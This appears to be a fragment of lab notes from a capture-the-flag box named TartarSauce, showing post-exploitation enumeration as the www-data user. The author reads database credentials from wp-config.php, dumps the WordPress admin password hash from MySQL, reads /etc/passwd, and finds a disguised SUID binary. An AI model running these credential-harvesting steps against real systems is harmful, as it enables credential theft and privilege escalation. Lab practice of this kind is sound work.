6 box enum www-data

www-data@TartarSauce:/var/www/html/webservices/wp$ cat wp-config.php
<?php
define('DB_NAME', 'wp');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
define('DB_HOST', 'localhost');

www-data@TartarSauce:/var/www/html/webservices/wp$ mysql -u wpuser -p

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wp                 |
+--------------------+
2 rows in set (0.00 sec)

mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| wpadmin    | $P$BBU0yjydBz9THONExe2kPEsvtjStGe1 |
+------------+------------------------------------+
1 row in set (0.01 sec)

www-data@TartarSauce:/home$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
onuma:x:1000:1000:,,,:/home/onuma:/bin/bash

www-data@TartarSauce:/home$ ll
total 12
drwxr-xr-x  3 root  root  4096 Feb  9  2018 .
drwxr-xr-x 22 root  root  4096 May  1  2018 ..
drwxrw----  5 onuma onuma 4096 Feb 21  2018 onuma

SuidEnum

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377
------------------------------

ls -la /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377
-rwSr--r-T 1 root root 150667 Mar  9  2018 /var/www/html/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ȜӎŗgͷͼȜ_5h377